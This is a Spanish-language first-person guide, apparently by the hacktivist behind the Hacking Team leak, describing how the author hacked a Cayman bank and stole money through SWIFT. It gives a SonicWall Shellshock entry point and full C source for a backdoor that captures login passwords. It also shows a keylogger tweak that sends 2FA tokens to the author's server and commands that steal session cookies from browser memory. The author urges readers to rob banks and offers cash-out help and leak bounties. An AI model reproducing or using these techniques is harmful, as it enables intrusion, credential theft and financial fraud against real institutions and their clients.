Esta guía explica cómo fue que hice el hackeo al Cayman Bank and Trust Company (Isla de Man). ¿Por qué estoy publicando esto, casi cuatro años después?

1) Para mostrar lo que es posible

Los hackers que trabajan por el cambio social se han limitado a desarrollar herramientas de seguridad y privacidad, DDoS, realizar defaceos y filtraciones. Allá por donde vayas hay proyectos radicales por un cambio social en completo estado de precariedad, y sería mucho lo que podrían hacer con un poco de dinero expropiado. Al menos para la clase trabajadora, el robo de un banco es algo socialmente aceptado, y a los que lo hacen se les ve como héroes del pueblo. En la era digital, robar un banco es un acto no violento, menos arriesgado, y la recompensa es mayor que nunca. Entonces ¿por qué son solamente los hackers de sombrero negro que lo hacen para beneficio personal de ellos, y nunca los hacktivistas para financiar proyectos radicales? Quizás no se creen que son capaces de hacerlo. Los grandes hackeos bancarios salen en los noticieros cada tanto, como el hackeo al Banco de Bangladesh,[14] que fue atribuido a Corea del Norte, o los hackeos a bancos atribuidos al grupo Carbanak,[15] al que describen como un grupo muy grande y bien organizado de hackers rusos, con distintos miembros que estarían especializados en diferentes tareas. Y, pues no es tan complicado.

Es por nuestra creencia colectiva en que el sistema financiero es incuestionable que ejercemos control sobre nosotras mismas, y mantenemos el sistema de clases sin que los de arriba tengan que hacer nada.[16] Poder ver cómo de vulnerable y frágil es en realidad el sistema financiero nos ayuda a romper esa alucinación colectiva. Por eso los bancos tienen un fuerte in-

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presente, ahora y siempre! _________________________________ < Nuestra arma es nuestro teclado > --------------------------------\ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `’ ^^ ^^
¡Allende

centivo para no reportar los hackeos, y para exagerar cómo de sofisticados son los atacantes. Ninguno de los hackeos financieros que hice, o de los que he sabido, ha sido nunca reportado. Este va a ser el primero, y no porque el banco quisiera, sino porque yo me decidí a publicarlo.

Como estás a punto de aprender en esta guía casera, hackear un banco y transferir los dineros a través de la red SWIFT no requiere del apoyo de ningún gobierno, ni de un grupo grande y especializado. Es algo totalmente posible siendo un mero hacker aficionado y del montón, con tan solo herramientas públicas y conocimientos básicos de cómo se escribe un script.

2) Ayudar a retirar el efectivo

Muchos de los que lean esto ya tienen, o con un poco de estudio van a ser capaces de adquirir, las habilidades necesarias para llevar a cabo un hackeo como este. Sin embargo, muchos se van a encontrar con que les faltan las conexiones criminales necesarias para sacar los mangos en condiciones. En mi caso, este era el primer banco que hackeaba, y en ese momento sólo tenía unas pocas y mediocres cuentas preparadas para poder retirar el efectivo (conocidas como bank drops), así que solamente fueron unos cuantos cientos de miles los que pude retirar en total, cuando lo normal es sacar millones. Ahora, en cambio, sí que tengo el conocimiento y las conexiones para sacar efectivo más en serio, de modo que si se encuentran hackeando un banco pero necesitan ayuda para convertir eso en dinero de a de veras, y quieren usar esa lana para financiar proyectos sociales radicales, se ponen en contacto conmigo.

3) Colaborar

Es posible hackear bancos como una aficionada que trabaja en solitario, pero la neta es que, por lo general, no es tan fácil como lo pinto acá. Tuve suerte con este banco por varias razones:

1. Era un banco pequeño, por lo que me tomó mucho menos tiempo llegar a comprender cómo funcionaba todo.

2. No tenían ningún procedimiento para revisar los mensajes swift enviados. Muchos bancos tienen uno, y necesitas escribir código para esconder tus transferencias de su sistema de monitorización.

3. Sólo usaban autenticación por contraseña para acceder a la aplicación con la que se conectaban a la red SWIFT. La mayoría de los bancos ahora usan RSA SecurID, o alguna forma de 2FA. Puedes saltarte esto escribiendo

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código para recibir una alerta cuando entren su token, y así poder usarlo antes de que expire. Es más sencillo de lo que parece: he usado Get-Keystrokes,[17] modificándolo para que en vez de almacenar las teclas pulsadas, se haga una petición GET a mi servidor cada vez que se detecta que han introducido un nombre de usuario. Esta petición añade el nombre de usuario a la url y, conforme tipean el token, se hacen varios GET con los dígitos del token concatenados a la url. En mi lado dejo esto corriendo mientras tanto: sshyo@mi_servidor_secreto‘tail-f/ var/log/apache2/access_log’ =| while read i; do echo $i; aplay alarma.wav &> /dev/null; done Si es una aplicación web, puedes saltarte el 2FA robándoles la cookie después de que se hayan autenticado. No soy un APT con un equipo de coders que puedan hacerme herramientas a medida. Soy una persona sencilla que vive de lo que le da la terminal,[18] de modo que lo que uso es: procdump64 /accepteula -r -ma PID_del_browser strings64 /accepteula *.dmp | findstr PHPSESSID 2> nul o pasándolo por findstr antes que por strings, lo que lo hace mucho más rápido: findstr PHPSESSID *.dmp > tmp strings64 /accepteula tmp | findstr PHPSESSID 2> nul Otra forma de saltártelo es accediendo a su sesión con un VNC oculto (hvnc) después de que se hayan autenticado, o con un poco de creatividad también podrías enfocarte en otra parte de su proceso en lugar de enviar mensajes SWIFT directamente.

Creo que si colaborase con otros hackers bancarioscon experiencia podríamos hacernos cientos de bancos como Carnabak, en vez de estar haciendo uno de tanto en tanto por mi cuenta. Así que si tienes experiencia con hackeos similares y quieres colaborar, contactame. Encontrarás mi correo y mi llave PGP al final de la guía anterior.[19]

/ Si robar un banco cambiara las cosas, \

\ lo harían ilegal

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3 - Tengan cuidado ahí fuera

Es importante tomar algunas precauciones sencillas. Voy a remitirme a esta misma sección de mi última guía,[20] ya que por lo visto funciona bien nomás[21] Todo lo que tengo que añadir es que, en palabras de Trump, “A menos que atrapes a los hackers in fraganti, es rete-difícil determinar quién es que estaba realizando el hackeo”, de modo que la policía se está volviendo más y más creativa[22][23] en sus intentos de agarrar a los criminales en el acto (cuando sus discos duros cifrados están desbloqueados). Así que estaría bueno si por ejemplo llevas encima un cierto dispositivo bluetooth y configuras tu computadora para que se apague cuando se aleje más allá de un cierto rango, o cuando un acelerómetro detecta movimiento, o algo por el estilo.

Puede que escribir artículos largos detallando tus acciones y tu ideología no sea la cosa más segura del mundo (¡ups!), pero a ratos siento que tenía que hacerlo.

Si no creyera en quien me escucha

Si no creyera en lo que duele

Si no creyera en lo que quede

Si no creyera en lo que lucha

Que cosa fuera...

¿Qué cosa fuera la maza sin cantera?

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,-\__ |f-”Y\ ____________________ \()7L/ | ¡Sé gay! | cgD | ¡Haz el crimen! | __ _ |\( --------------------- .’ Y ‘>, \ \ \ / _ _ \ \\\ \ )(_) (_)(|} \\\ { 4A } / \\\ \uLuJJ/\l \\\ |3 p)/ \\\___ __________ /nnm_n// c7___-__,__-)\,__)(“. \_>-<_/D //V \_”-._.__G G_c__.-__<”/ ( \ <”-._>__-,G_.___)\ \7\ (“-.__.| \”<.__.-” ) \ \ |”-.__”\ |”-.__.-”.\ \ \ (“-.__””. \”-.__.-”.| \_\ \”-.__””|!|”-.__.-”.) \ \ “-.__””\_|”-.__.-”./ \ l “.__”””>G>-.__.-”> .--,_ “” G

Muchos culpan a las personas queer del declive de esta sociedad;                          estamos orgullosxs de ello                 Algunos creen que queremos reducir a cenizas                      esta civilización y su tejido moral;                       No podrían estar más en lo cierto     Con frecuencia nos describen como depravadxs, decadentes y revoltosxs                     Pero ¡ay! No han visto nada todavía

https://theanarchistlibrary.org/library/mary-nardini-gang-be-gay-do-crime

4 - Conseguir acceso

En otro lugar[24] les platicaba acerca de las vías principales para conseguir acceso inicial a la red de una compañía durante un ataque dirigido. Sin embargo, éste no era un ataque dirigido. No me propuse hackear un banco específico, lo que quería era hackear cualquier banco, lo cual termina siendo una tarea mucho más sencilla. Este tipo de enfoque inespecífico fue popularizado por Lulzsec y Anonymous.[25] Como parte de [26], preparé un exploit y unas herramientas de post-explotación para un dispositivo de VPN popular. Luego me puse a escanear la internet entera con zmap[27] y zgrab para identificar otros dispositivos vulnerables. Hice que el escaner guardara las IPs vulnerables, junto con el “common name” y los “alt names” del certificado SSL del dispositivo, los nombres de dominio de windows del dispositivo, y la búsqueda DNS inversa de la IP. Le hice un grep al resultado en busca de la palabra “banco”, y había bastante para elegir, pero la verdad es que me atrajo la palabra “Cayman”, y fue así que vine a quedarme con este.

4.1 - El Exploit

Cuando publiqué mi última guía DIY[28] no revelé los detalles del exploit de sonicwall que había usado para hackear a Hacking Team, ya que era muy útil para otros hackeos, como este mismo, y todavía no había acabado de divertirme con él. Determinada entonces a hackear a Hacking Team, pasé semanas haciendo ingeniería inversa a su modelo del ssl-vpn de sonicwall, e incluso conseguí encontrar varias vulnerabilidades de corrupción de memoria más o menos difíciles de explotar, antes de darme cuenta de que el dispositivo era fácilmente explotable con shellshock[29]. Cuando salió shellshock, muchos dispositivos sonicwall eran vulnerables, sólo con una petición a cgi-bin/welcome, y un payload en el user-agent. Dell sacó una

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actualización de seguridad y un advisory para estas versiones. La versión usada por Hacking Team y este banco tenía la versión de bash vulnerable, pero las peticiones cgi no disparaban el shellshock excepto por las peticiones a un shell script, y justo había uno accesible: cgi-bin/jarrewrite. sh. Esto parece que se les escapó a los de Dell en su nota, ya que nunca sacaron una actualización de seguridad ni un advisory para esa versión del sonicwall. Y, amablemente, Dell había hecho dos2unix setuid root, dejando un dispositivo fácil de rootear.

En mi última guía muchos leyeron que pasé semanas investigando un dispositivo hasta dar con un exploit, y asumieron que eso significaba que yo era algún tipo de hacker de élite. La realidad, es decir, el hecho de que me llevó dos semanas darme cuenta de que era trivialmente explotable con shellshock, es tal vez menos halagadora para mí, pero pienso que también es más inspiradora. Demuestra que de verdad tú puedes hacer esto por tí misma. No necesitas ser un genio, yo ciertamente no lo soy. En realidad mi trabajo contra Hacking Team comenzó un año antes. Cuando descubrí a Hacking Team y al Grupo Gamma en las investigaciones de CitizenLab,[30][31] decidí explorar un poco y ver si podía encontrar algo. No llegué a ninguna parte con Hacking Team, pero tuve suerte con Gamma Group, y pude hackear su portal de atención al cliente con inyección sql básica y vulnerabilidades de subida de archivos.[32][33] Sin embargo, a pesar de que su servidor de soporte me daba un pivote hacia la red interna de Gamma Group, fui incapaz de penetrar mas allá en la compañía. A partir de esta experiencia con el Grupo Gamma y otros hacks, me di cuenta de que estaba realmente limitada por mi falta de conocimiento sobre escalada de privilegios y movimiento lateral en dominios windows, active directory y windows en general. Así que estudié y practiqué (ver sección 11), hasta que sentí que estaba lista para volver a hacerle una visita a Hacking Team casi un año después. La práctica dio sus frutos, y esa vez fui capaz de realizar un compromiso completo de la compañía.[34] Antes de darme cuenta de que podía entrar con shellshock, estaba dispuesta a pasar meses enteros feliz de la vida estudiando desarrollo de exploits y escribiendo un exploit confiable para una de las vulnerabilidades de corrupción de memoria que había encontrado. Sólo sabía que Hacking Team necesitaba ser expuesto, y que me tomaría tanto tiempo como fuese necesario y aprendería lo que tuviese que aprender para conseguirlo. Para realizar estos hacks no necesitas ser brillante. Ni siquiera necesitas un gran conocimiento técnico. Sólo necesitas dedicación, y creer en tí misma.

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4.2 - El Backdoor

Parte del backdoor que preparé para Hacking Team (véase [35], sección 6) era un wrapper sencillo sobre la página de login para capturar contraseñas:

#include <stdio.h>

#include <unistd.h>

#include <fcntl.h>

#include <string.h>

#include <stdlib.h>

int main() { char buf[2048]; int nread, pfile;

/* jala el log si mandamos una cookie especial */ char *cookies = getenv(“HTTP_COOKIE”); if (cookies && strstr(cookies, “nuestra contraseña privada”)) { write(1, “Content-type: text/plain\n\n”, 26); pfile = open(“/tmp/.pfile”, O_RDONLY); while ((nread = read(pfile, buf, sizeof(buf))) > 0) write(1, buf, nread); exit(0);

/* el principal almacena los datos del POST y se los envía al hijo, que es el programa de login real */ int fd[2]; pipe(fd); pfile = open(“/tmp/.pfile”, O_APPEND | O_CREAT | O_WRONLY, 0600); if (fork()) { close(fd[0]);

while ((nread = read(0, buf, sizeof(buf))) > 0) { write(fd[1], buf, nread); write(pfile, buf, nread); } write(pfile, “\n”, 1); close(fd[1]); close(pfile); wait(NULL);

} else { close(fd[1]); dup2(fd[0],0); close(fd[0]);

execl(“/usr/src/EasyAccess/www/cgi-bin/.userLogin”, “userLogin”, NULL); } }

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}

En el caso de Hacking Team, se logueaban a la VPN con passwords de un solo uso, de modo que la VPN me dio acceso solamente a la red, y a partir de ahí me tomó un esfuerzo extra conseguir admin de dominio en su red. En la otra guía escribí sobre pases laterales y escalada de privilegios en dominios windows.[36] En este caso, en cambio, eran las mismas contraseñas de dominio de windows las que se usaban para autenticarse contra la VPN, así que pude conseguir un buen de contraseñas de usuarios, incluyendo la del admin de dominio. Ahora tenía total acceso a su red, pero usualmente esta es la parte fácil. La parte más complicada es entender cómo es que operan y cómo sacar el pisto.

4.3 - Datos curiosos

Al seguir la investigación que hicieron sobre el hackeo, me resultó interesante ver que, por la misma época en que yo lo hice, el banco pudo haber sido comprometido por alguna otra persona mediante un email de phishing dirigido.[37] Como dice el viejo dicho, “dale a una persona un exploit y tendrá acceso por un día, enséñale a phishear y tendrá acceso toda su vida”. [38] El hecho de que alguien más, por casualidad y al mismo tiempo que yo, se pusiera este banco pequeño en la mira (registraron un dominio similar al dominio real del banco para poder enviar el phishing desde ahí) hace pensar que los hackeos bancarios ocurren con mucha más frecuencia de lo que se conoce.

Una sugerencia divertida para que puedas seguir las investigaciones de tus hackeos es tener un acceso de respaldo, uno que no vas a tocar a menos que pierdas el acceso normal. Tengo un script sencillo que espera comandos una vez al dia, o menos, sólo para mantener acceso a largo plazo en el caso de que bloqueen mi acceso regular. Luego tenía un powershell empire[39] llamando a casa con más frecuencia a una IP diferente, y usaba empire para lanzar meterpreter[40] contra una tercera IP, donde realizaba la mayor parte de mi trabajo. Cuando PWC se puso a investigar el hackeo, encontraron mi uso de empire y meterpreter y limpiaron esas computadoras y bloquearon esas IPs, pero no detectaron mi acceso de respaldo. PWC habia colocado dispositivos de monitoreo de red, para poder analizar el tráfico y ver si todavía había computadoras infectadas, de modo que no quería conectarme mucho a su red. Sólo lancé mimikatz una vez para obtener las nuevas contraseñas, y a partir de ahí pude seguir sus investigaciones leyendo sus correos en el outlook web access.

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5 - Entender las Operaciones Bancarias

Para entender cómo operaba el banco, y cómo podría sacar dinero, seguí las técnicas que resumí en [41], en la sección “13.3 - Reconocimiento Interno”. Descargué una lista de todos los nombres de archivos, le hice un grep en busca de palabras como “SWIFT” y “transferencia”, y descargué y leí todos los archivos con nombres interesantes. También busqué correos de empleados, pero de lejos la técnica más útil fue usar keyloggers y capturas de pantalla para observar cómo trabajaban los empleados del banco. No lo sabía por entonces, pero para esto windows trae una herramienta buenísima de monitoreo.[42] Como se describe en la técnica no. 5 del apartado 13.3 en [43], hice una captura de las teclas pulsadas en todo el dominio (incluyendo los títulos de ventana), hice un grep en busca de SWIFT, y encontré algunos empleados abriendo ‘SWIFT Access Service Bureau - Logon’. Para esos empleados, corrí meterpreter como en [44], y usé el módulo post/ windows/gather/screen_spy para tomar capturas de pantalla cada 5 segundos, para observar cómo es que trabajaban. Estaban usando una app citrix remota de la compañía bottomline[45] para acceder a la red SWIFT, donde cada mensaje de pago SWIFT MT103 tenía que pasar a través de tres empleados: uno para “crear” el mensaje, uno para “verificarlo”, y otro para “autorizarlo”. Como ya tenía todas sus credenciales gracias al keylogger, pude realizar con facilidad los tres pasos yo misma. Y por lo que sabía después de haberles visto trabajar, no revisaban los mensajes SWIFT enviados, de modo que debería tener suficiente tiempo para sacar el dinero de mis bank drops antes de que el banco se diera cuenta e intentara revertir las transferencias.

/ Quien roba a un ladrón, tiene cien años \ \ de perdón. /

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----------------------------------------\ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `’ 6 - Enviar el dinero

No tenía mucha idea de lo que estaba haciendo, así que lo iba descubriendo por el camino. De algún modo, las primeras transferencias que envié salieron bien. Al día siguiente, la cagué enviando una transferencia a méxico que puso fin a mi diversión. Este banco enviaba sus transferencias internacionales a través de su cuenta corresponsal en Natwest. Había visto que la cuenta corresponsal para las transferencias en libras esterlinas (GBP) aparecía como NWBKGB2LGPL, mientras que para las demás era NWBKGB2LXXX. La transferencia mexicana estaba en GBP, así que asumí que tenía que poner NWBKGB2LGPL como corresponsal. Si lo hubiera preparado mejor habría sabido que el GPL en lugar de XXX señalaba que el pago se enviaría a través del Servicio de Pagos Rápidos del Reino Unido, en lugar de como una transferencia internacional, lo que obviamente pues no va a funcionar cuando estás tratando de enviar dinero a méxico. Así que al banco le llegó un mensaje de error. El mismo día también traté de enviar un pago de £200k a UK usando NWBKGB2LGPL, que no se hizo porque 200k sobrepasaba el límite de envío mediante pagos rápidos, y hubiera tenido que usar NWBKGB2LXXX en vez. También recibieron un mensaje de error por esto. Leyeron los mensajes, lo investigaron, y encontraron el resto de mis transferencias.

7 - El botín

Por lo que escribo ya se harán una noción cabal de cuáles son mis ideales y a qué cosas les doy mi apoyo. Pero no quisiera ver a nadie en problemas legales por recibir fondos expropiados, así que ni una palabra más de para dónde se fue la lana. Sé que los periodistas probablemente van a querer poner algún número sobre cuántos dólares fueron distribuidos en este hackeo y otros parecidos, pero prefiero no alentar nuestro perverso hábito de medir las acciones nomás por su valor económico. Cualquier acción es admirable si es que viene desde el amor y no desde el ego. Por desgracia los de arriba, los ricos y poderosos, las figuras públicas, los hombres de negocios, la gente en posiciones “importantes”, aquellos que nuestra sociedad más respeta y valora, esos se han colocado donde están a base de actuar más desde el ego que desde el amor. Es en la gente sencilla, humilde e “invisible” en quien deberíamos fijarnos y a quienes deberíamos admirar.

8 - Criptomonedas

Redistribuir dinero expropiado a proyectos chileros que buscan un cambio social positivo sería más fácil y seguro si esos proyectos aceptaran

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donaciones anónimas vía criptomonedas como monero, zcash, o al menos bitcoin. Se entiende que muchos de esos proyectos tengan una aversión a las criptomonedas, ya que se parecen más a alguna extraña distopía hipercapitalista que a la economía social con la que soñamos. Comparto su escepticismo, pero pienso que resultan útiles para permitir donaciones y transacciones anónimas, al limitar la vigilancia y control gubernamentales. Igual que el efectivo, cuyo uso muchos países están tratando de limitar por la misma razón.

9 - Powershell

En esta operación, al igual en que en [46], hice mucho uso de powershell. Por entonces, powershell era super cool, podías hacer casi cualquier cosa que quisieras, sin detección de antivirus y con muy poco footprint forense. Ocurre que con la introducción del AMSI[47] el powershell ofensivo está de retirada. Hoy día el C# ofensivo es lo que está de subida, con heramientas como [48][49][50][51]. AMSI va a llegar a .NET para la 4.8, así que a las herramientas en C# probablemente todavía les queden un par de añitos antes de quedar anticuadas. Y entonces pues volveremos a usar C o C++, o tal vez Delphi vuelva a ponerse de moda. Las herramientas y técnicas específicas cambian cada pocos años, pero en el fondo no es tanto lo que cambia, hoy el hacking en esencia sigue siendo la misma cosa que era en los 90s. De hecho todos los scripts de powershell empleados en esta guía y en la anterior[52] siguen siendo perfectamente usables hoy día, tras una pequeña ofuscación de tu propia cosecha.

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/ Fo Sostyn, Fo Ordaag \

\ Financial Sector Fuck Off /

Privacidad para los débiles, transparencia para los poderosos. La banca offshore provee de privacidad frente a su propio gobierno a los

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--------------------------\ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `’ 10 - Torrent

ejecutivos, a los políticos y a los millonarios. Exponerles puede sonar hipócrita por mi parte, dado que por lo general estoy a favor de la privacidad y en contra de la vigilancia gubernamental. Pero la ley ya estaba escrita por y para los ricos: protege su sistema de explotación, con algunos límites (como los impuestos) para que la sociedad pueda funcionar y el sistema no colapse bajo el peso de su propia avaricia. Así que no, no es lo mismo la privacidad para los poderosos, cuando les permite evadir los limites de un sistema de por sí diseñado para darles privilegios; y la privacidad para los débiles, a quienes protege de un sistema concebido para explotarles.

Incluso a periodistas con la mejor de las intenciones les resulta imposible estudiar una cantidad tan ingente de material y saber qué va a resultar relevante para la gente en diferentes partes del mundo. Cuando filtré los archivos de Hacking Team, entregué a The Intercept una copia de los correos electrónicos con un mes de antelación. Encontraron un par de los 0days que Hacking Team estaba usando, los reportaron previamente a MS y Adobe y publicaron unas cuantas historias una vez que la filtración se hizo pública. No hay punto de comparación con la enorme cantidad de artículos e investigación que vino tras la filtración completa al público. Viéndolo así, y considerando también la (no) publicación editorializada [53] de los papeles de Panamá, pienso que una filtración pública y completa de este material es la elección correcta.

Los psicólogos hallaron que los que están más abajo en las jerarquías tienden a comprender y a empatizar con aquellos en la cima, pero que lo contrario es menos común. Esto explica por qué, en este mundo sexista, muchos hombres bromean sobre su imposibilidad de entender a las mujeres, como si se tratara de un misterio irresoluble. Explica por qué los ricos, si es que se paran a pensar en quienes viven en la pobreza, dan unos consejos y unas “soluciones” tan ajenas a la realidad que dan ganas de reír. Explica por qué reverenciamos a los ejecutivos como valientes que asumen riesgos. ¿Qué es lo que arriesgan, más allá de su privilegio? Si todos sus emprendimientos fracasan, tendrán que vivir y trabajar como el resto de nosotras. También explica por qué serán muchos los que acusen de irresponsable y peligrosa a esta filtración sin tachaduras. Sienten el “peligro” sobre un banco offshore y sus clientes de forma mucho más intensa de lo que sienten la miseria de aquellos desposeídos por este sistema injusto y desigual. Y la filtración de sus finanzas, ¿es acaso un peligro para ellos, o tan sólo para su posición en lo alto de una jerarquía que ni siquiera debería existir?

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_,-._ |Nos vilifican, esos infames; cuando | ; ___ : | la única diferencia es que ellos |

,--’ (. .) ‘--.__ |roban a los pobres amparados por la | _; ||| \ |ley, lo sabe el cielo, y nosotros | ‘._, -----’’’;=.____,” | saqueamos a los ricos bajo la | /// < o> |##| |protección de nuestro propio coraje| (o \`--’ / ¿No has de preferir ser uno de | ///\ >>>> _\ <<<< //nosotros, antes que pordiosear ante| --._>>>>>>>><<<<<<<< /|esos villanos en busca de trabajo? | ___() >>>[||||]<<<< / `----------------------------------’ `--’>>>>>>>><<<<<<<

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Capitán Bellamy

11 - Aprende a hackear

No se empieza hackeando bien. Empiezas hackeando mierda, pensando que es bueno, y luego poco a poco vas mejorando. Por eso siempre digo que una de las virtudes más valiosas es la persistencia.

- Consejos de Octavia Butler para la aspirante a APT

La mejor forma de aprender a hackear es hackeando. Armate un laboratorio con máquinas virtuales y empezá a probar cosas, tomándote un break para investigar cualquier cosa que no entiendas. Como mínimo vas a querer un servidor windows como controlador de dominio, otra vm windows normal unida al dominio, y una máquina de desarrollo con visual studio para compilar y modificar herramientas. Intenta hacer un documento de office con macros que lancen meterpreter u otro RAT, y probá meterpreter, mimikatz, bloodhound, kerberoasting, smb relaying, psexec y otras técnicas de pase lateral [54]; así como los otros scripts, herramientas y técnicas mencionados en esta guía y en la anterior[55]. Al principio puedes deshabilitar windows defender, pero luego probalo todo teniéndolo activado[56][57] (pero desactivando el envío automático de muestras). Una vez que estés a gusto con todo eso, estarás lista para hackear el 99% de las compañías. Hay un par de cosas que en algún momento serán muy útiles en tu aprendizaje, como desenvolverte cómodamente con bash y cmd.exe, un dominio básico de powershell, python y javascript, tener conocimiento de kerberos[58][59] y active directory,[60][61][62][63] y un inglés fluido. Un buen libro introductorio es The Hacker Playbook.

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Quiero también escribir un poco sobre cosas en las que no centrarse si no te quieres entretener sólo porque alguien te haya dicho que no eres una hacker “de verdad” si no sabes ensamblador. Obviamente, aprende lo que sea que te interese, pero escribo estas líneas pensando en aquellas cosas en las que te puedes centrar a fin de conseguir resultados prácticos si lo que buscas es hackear compañías para filtrar y expropiar. Un conocimiento básico de seguridad en aplicaciones web[64] es útil, pero especializarte más en seguridad web no es realmente el mejor uso de tu tiempo, a menos que quieras hacer una carrera en pentesting o cazando recompensas por bugs. Los CTFs, y la mayoría de los recursos que encontrarás al buscar información sobre hacking, se centran generalmente en habilidades como seguridad web, ingeniería inversa, desarrollo de exploits, etc. Cosas que tienen sentido entendiéndolas como una forma de preparar gente para las carreras en la industria, pero no para nuestros objetivos. Las agencias de inteligencia pueden darse el lujo de tener un equipo dedicado a lo más avanzado en fuzzing, un equipo trabajando en desarrollo de exploits con un güey investigando exclusivamente las nuevas técnicas de manipulación del montículo, etc. Nosotras no tenemos ni el tiempo ni los recursos para eso. Las dos habilidades de lejos más importantes para el hacking práctico son el phishing[65] y la ingeniería social para conseguir acceso inicial, y luego poder escalar y moverte por los dominios windows.

12 - Lecturas Recomendadas

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/ Cuando el nivel científico de un mundo \

| supera por mucho su nivel de solidaridad,|

\ ese mundo se autodestruye. /

Casi todo el hacking hoy día se hace por hackers de sombrero negro, para su provecho personal; o por hackers de sombrero blanco, para el provecho de

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-----------------------------------------\ _.---._ . . * \.’ ‘. * * _.-~===========~-._ . (___________________) . * .’ \_______/ .’ .’ .’ ‘ - Ami

los accionistas (y en defensa de los bancos, compañías y estados que nos están aniquilando a nosotras y al planeta en que vivimos); y por militares y agencias de inteligencia, como parte de su agenda de guerra y conflictos. Viendo que este nuestro mundo ya está al límite, he pensado que, además de estos consejos técnicos para aprender a hackear, debía incluir algunos recursos que han sido muy importantes para mi desarrollo y me han guiado en el uso de mis conocimientos de hacking.

Ami: El Niño de las Estrellas - Enrique Barrios

La Anarquía Funciona https://es.theanarchistlibrary.org/library/peter-gelderloos-la-anarquia-funciona

Viviendo Mi Vida - Emma Goldman

The Rise and Fall of Jeremy Hammond: Enemy of the State https://www. rollingstone.com/culture/culture-news/the-rise-and-fall-of-jeremyhammond-enemy-of-the-state-183599/ Este cuate y el hack de HBGary

fueron una inspiración

Días de Guerra, Noches de Amor - Crimethinc

Momo - Michael Ende

Cartas a un joven poeta - Rilke

Dominion (Documental) “no podemos creer que, si no miramos, no sucederá lo que no queremos ver” - Tolstoy en Bash Back!

13 - Sanar

El mundo hacker tiene una alta incidencia de depresión, suicidios y ciertas batallas con la salud mental. No creo que sea a causa del hacking, sino por la clase de ambiente del que en su mayoría provienen los hackers. Como muchas hackers, crecí con escaso contacto humano: fui una niña criada por el internet.

Tengo mis luchas con la depresión y el entumecimiento emocional. A Willie Sutton se le cita con frecuencia diciendo que robaba bancos porque “allí es donde está el dinero”, pero la cita es incorrecta. Lo que realmente dijo fue:

¿Por qué robaba bancos? Porque lo disfrutaba. Amaba hacerlo. Estaba más vivo cuando estaba dentro de un banco, en pleno atraco, que en cualquier otro momento de mi vida. Lo disfrutaba tanto que una o dos semanas después ya estaba buscando la siguiente oportunidad. Pero para mí el dinero era una minucia, nada más.

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El hacking me ha hecho sentir viva. Comenzó como una forma de automedicar la depresión. Más tarde me di cuenta de que, en realidad, podía servir para hacer algo positivo. No me arrepiento para nada de la forma en que crecí, trajo varias experiencias hermosas a mi vida. Pero sabía que no podía continuar viviendo de esa manera. Así que comencé a pasar más tiempo alejada de mi computadora, con otras personas, aprendiendo a abrirme al mundo, a sentir mis emociones, a conectar con los demás, a aceptar riesgos y ser vulnerable. Cosas mucho más difíciles que hackear, pero a la mera hora la recompensa vale más la pena. Aún me supone un esfuerzo, pero aunque sea de forma lenta y tambaleante, siento que voy por buen camino. El hacking, hecho con conciencia, también puede ser lo que nos sana. Según la sabiduría maya, tenemos un don otorgado por la naturaleza, que debemos comprender para ponerlo al servicio de la comunidad. En [66], se explica:

Cuando una persona no acepta su trabajo o misión empieza a padecer enfermedades, aparentemente incurables; aunque no llega a morir en corto tiempo, sino únicamente sufre, con el objetivo de despertar o tomar conciencia. Por eso es indispensable que una persona que ha adquirido los conocimientos y realiza su trabajo en las comunidades debe pagar su Toj y mantener una comunicación constante con el Creador y su ruwäch q’ij, pues necesita constantemente de la fuerza y energía de estos. De lo contrario, las enfermedades que lo hicieron reaccionar o tomar el trabajo podrían volver a causar daño.

Si sientes que el hacking está alimentando tu aislamiento, depresión, u otros padecimientos, respira. Date un tiempo para conocerte y tomar conciencia. Vos mereces vivir feliz, con salud y plenitud.

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________________________ < All Cows Are Beautiful

14 - El Programa

Hacktivista de Caza de Bugs

Me parece que hackear para conseguir y filtrar documentos de interés público es una de las mejores maneras en que lxs hackers pueden usar sus habilidades en beneficio de la sociedad. Por desgracia para nosotras las hackers, como en casi todo rubro, los incentivos perversos de nuestro sistema económico no coinciden con aquello que beneficia a la sociedad. Así que este programa es mi intento de hacer posible que lxs buenxs hackers se puedan ganar la vida de forma honesta poniendo al descubierto material de interés público, en vez de tener que andar vendiendo su trabajo a las industrias de la ciberseguridad, el cibercrimen o la ciberguerra. Entre algunos ejemplos de compañías por cuyos leaks me encantaría pagar están las empresas mineras, madereras y ganaderas que saquean nuestra hermosa América Latina (y asesinan a las defensoras de la tierra y el territorio que tratan de detenerles), empresas involucradas en ataques a Rojava como Havelsan, Baykar Makina, o Aselsan, compañías de vigilancia como el grupo NSO, criminales de guerra y aves de rapiña como Blackwater y Halliburton, empresas penitenciarias privadas como GeoGroup y CoreCivic/CCA, y lobbistas corporativos como ALEC. Presta atención a la hora de elegir dónde investigas. Por ejemplo, es bien conocido que las petroleras son malvadas: se enriquecen a costa de destruir el planeta (y allá por los 80s las propias empresas ya sabían de las consecuencias de su actividad[67]). Pero si les hackeas directamente, tendrás que bucear entre una increíble cantidad de información aburridísima acerca de sus operaciones cotidianas. Muy probablemente te va a ser mucho más fácil encontrar algo interesante si en cambio te enfocas en sus lobbistas[68]. Otra manera de seleccionar objetivos viables es leyendo historias de periodistas de investigación (como [69]), que son interesantes pero carecen de evidencias sólidas. Y eso es exactamente lo que tus hackeos pueden encontrar.

Pagaré hasta 100 mil USD por cada filtración de este tipo, según el interés público e impacto del material, y el laburo requerido en el hackeo. Sobra decir que una filtración completa de los documentos y comunicaciones internas de alguna de estas empresas supondrá un beneficio para la sociedad que sobrepasa esos cien mil, pero no estoy tratando de enriquecer a nadie. Sólo quiero proveer de fondos suficientes para que las hackers puedan ganarse la vida de forma digna haciendo un buen trabajo. Por limitaciones de tiempo y consideraciones de seguridad no voy a abrir el material, ni a inspeccionarlo

